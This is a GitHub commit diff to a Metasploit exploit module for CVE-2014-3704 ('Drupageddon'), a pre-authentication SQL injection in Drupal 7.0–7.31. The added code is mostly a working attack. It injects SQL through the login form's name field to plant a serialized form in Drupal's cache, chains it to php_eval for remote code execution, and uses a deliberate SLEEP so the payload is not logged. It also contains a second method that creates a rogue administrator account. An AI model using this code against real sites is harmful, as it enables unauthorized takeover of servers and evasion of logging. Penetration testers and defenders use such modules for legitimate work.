Skip to content

Commit a1d43c8

Browse files
committed
Land rapid7#9215, new Drupageddon vector
2 parents 84c951c + bfd5c2d commit a1d43c8

File tree

1 file changed

+143
-13
lines changed

1 file changed

+143
-13
lines changed

modules/exploits/multi/http/drupal_drupageddon.rb

Lines changed: 143 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -16,40 +16,155 @@ def initialize(info={})
1616
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
1717
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
1818
in 7.32).
19+
20+
Two methods are available to trigger the PHP payload on the target:
21+
22+
- set TARGET 0:
23+
Form-cache PHP injection method (default).
24+
This uses the SQLi to upload a malicious form to Drupal's cache,
25+
then trigger the cache entry to execute the payload using a POP chain.
26+
27+
- set TARGET 1:
28+
User-post injection method.
29+
This creates a new Drupal user, adds it to the administrators group,
30+
enable Drupal's PHP module, grant the administrators the right to
31+
bundle PHP code in their post, create a new post containing the
32+
payload and preview it to trigger the payload execution.
1933
},
2034
'License' => MSF_LICENSE,
2135
'Author' =>
2236
[
2337
'SektionEins', # discovery
24-
'Christian Mehlmauer', # msf module
25-
'Brandon Perry' # msf module
38+
'WhiteWinterWolf', # form-cache PHP injection method
39+
'Christian Mehlmauer', # user-post PHP injection method
40+
'Brandon Perry' # user-post PHP injection method
2641
],
2742
'References' =>
2843
[
2944
['CVE', '2014-3704'],
3045
['URL', 'https://www.drupal.org/SA-CORE-2014-005'],
31-
['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']
46+
['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html'],
47+
['URL', 'https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/']
3248
],
3349
'Privileged' => false,
3450
'Platform' => ['php'],
3551
'Arch' => ARCH_PHP,
36-
'Targets' => [['Drupal 7.0 - 7.31',{}]],
52+
'Targets' =>
53+
[
54+
['Drupal 7.0 - 7.31 (form-cache PHP injection method)', {}],
55+
['Drupal 7.0 - 7.31 (user-post PHP injection method)', {}]
56+
],
3757
'DisclosureDate' => 'Oct 15 2014',
3858
'DefaultTarget' => 0
3959
))
4060

4161
register_options(
42-
[
43-
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
44-
])
62+
[
63+
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
64+
])
4565

4666
register_advanced_options(
47-
[
48-
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
49-
OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
50-
])
67+
[
68+
OptInt.new('Wait', [true, "Number of seconds to wait before triggering the payload sent (form-cache method only).", 5]),
69+
OptString.new('ADMIN_ROLE', [ true, "The administrator role (user-post method only)", 'administrator']),
70+
OptInt.new('Iter', [ true, "Hash iterations (2^ITER, user-post method only))", 10])
71+
])
72+
end
73+
74+
##
75+
# Form-cache PHP injection method
76+
##
77+
78+
def sql_insert(id, value)
79+
curlyopen = rand_text_alphanumeric(8)
80+
curlyclose = rand_text_alphanumeric(8)
81+
value.gsub!('{', curlyopen)
82+
value.gsub!('}', curlyclose)
83+
84+
"INSERT INTO {cache_form} (cid, data, expire, created, serialized) " \
85+
+ "VALUES ('#{id}', REPLACE(REPLACE('#{value}', '#{curlyopen}', " \
86+
+ "CHAR(#{'{'.ord})), '#{curlyclose}', CHAR(#{'}'.ord})), -1, 0, 1);"
87+
end
88+
89+
def exploit_formcache
90+
form_build_id = 'form-' + rand_text_alphanumeric(43)
91+
92+
# Remove the malicious cache entries upon success.
93+
evalstr = "cache_clear_all(array('form_" + form_build_id + "', " \
94+
+ "'form_state_" + form_build_id + "'), 'cache_form');"
95+
evalstr << payload.encoded
96+
evalstr = Rex::Text.encode_base64(evalstr)
97+
# '<?php' tag required by php_eval().
98+
evalstr = "<?php eval(base64_decode(\\'#{evalstr}\\'));"
99+
# Don't count the backslashes.
100+
evalstr_len = evalstr.length - 2
101+
102+
# Serialized malicious form state.
103+
# The PHP module may be disabled (and should be).
104+
# Load its definition manually to get access to php_eval().
105+
state = 'a:1:{s:10:"build_info";a:1:{s:5:"files";a:1:{'
106+
state << 'i:0;s:22:"modules/php/php.module";'
107+
state << '}}}'
108+
# Initiates a POP chain in includes/form.inc:1850, form_builder()
109+
form = 'a:6:{'
110+
form << 's:5:"#type";s:4:"form";'
111+
form << 's:8:"#parents";a:1:{i:0;s:4:"user";}'
112+
form << 's:8:"#process";a:1:{i:0;s:13:"drupal_render";}'
113+
form << 's:16:"#defaults_loaded";b:1;'
114+
form << 's:12:"#post_render";a:1:{i:0;s:8:"php_eval";}'
115+
form << 's:9:"#children";s:' + evalstr_len.to_s + ':"' + evalstr + '";'
116+
form << '}'
117+
118+
# SQL injection key lines:
119+
# - modules/user/user.module:2149, user_login_authenticate_validate()
120+
# - includes/database/database.inc:745, expandArguments()
121+
sql = sql_insert('form_state_' + form_build_id, state)
122+
sql << sql_insert('form_' + form_build_id, form)
123+
# Causes PHP script to timeout, avoiding payload logging.
124+
sql << 'SELECT SLEEP(666);'
125+
126+
# Use the login form to inject the malicious cache entry.
127+
# '!' follows redirects, used by some Drupal sites to enforce clean URLs.
128+
# Don't check the return code as it *will* timeout.
129+
send_request_cgi!({
130+
'uri' => normalize_uri(target_uri.path),
131+
'method' => 'POST',
132+
'vars_post' => {
133+
# Don't use 'user_login_block' as it may be disabled.
134+
'form_id' => 'user_login',
135+
'form_build_id' => '',
136+
"name[0;#{sql}#]" => '',
137+
# This field must be located *after* the injection.
138+
"name[0]" => '',
139+
'op' => 'Log in',
140+
'pass' => Rex::Text.rand_text_alpha(8)
141+
},
142+
'vars_get' => {
143+
'q' => 'user/login'
144+
}
145+
}, timeout=datastore['Wait'])
146+
147+
# Trigger the malicious cache entry using its form ID.
148+
send_request_cgi!({
149+
'uri' => normalize_uri(target_uri.path),
150+
'method' => 'POST',
151+
'vars_post' => {
152+
'form_id' => 'user_login',
153+
"form_build_id" => form_build_id,
154+
"name" => Rex::Text.rand_text_alpha(10),
155+
'op' => 'Log in',
156+
'pass' => Rex::Text.rand_text_alpha(10)
157+
},
158+
'vars_get' => {
159+
'q' => 'user/login'
160+
}
161+
})
51162
end
52163

164+
##
165+
# User-post PHP injection method
166+
##
167+
53168
def uri_path
54169
normalize_uri(target_uri.path)
55170
end
@@ -59,7 +174,7 @@ def admin_role
59174
end
60175

61176
def iter
62-
datastore['ITER']
177+
datastore['Iter']
63178
end
64179

65180
def itoa64
@@ -133,7 +248,7 @@ def extract_form_ids(content)
133248
return form_build_id, form_token
134249
end
135250

136-
def exploit
251+
def exploit_newuser
137252

138253
# TODO: Check if option admin_role exists via admin/people/permissions/roles
139254

@@ -352,4 +467,19 @@ def exploit
352467
'cookie' => cookie
353468
)
354469
end
470+
471+
##
472+
# Main
473+
##
474+
475+
def exploit
476+
case datastore['TARGET']
477+
when 0
478+
exploit_formcache
479+
when 1
480+
exploit_newuser
481+
else
482+
fail_with(Failure::BadConfig, "Invalid target selected.")
483+
end
484+
end
355485
end

0 commit comments

Comments
 (0)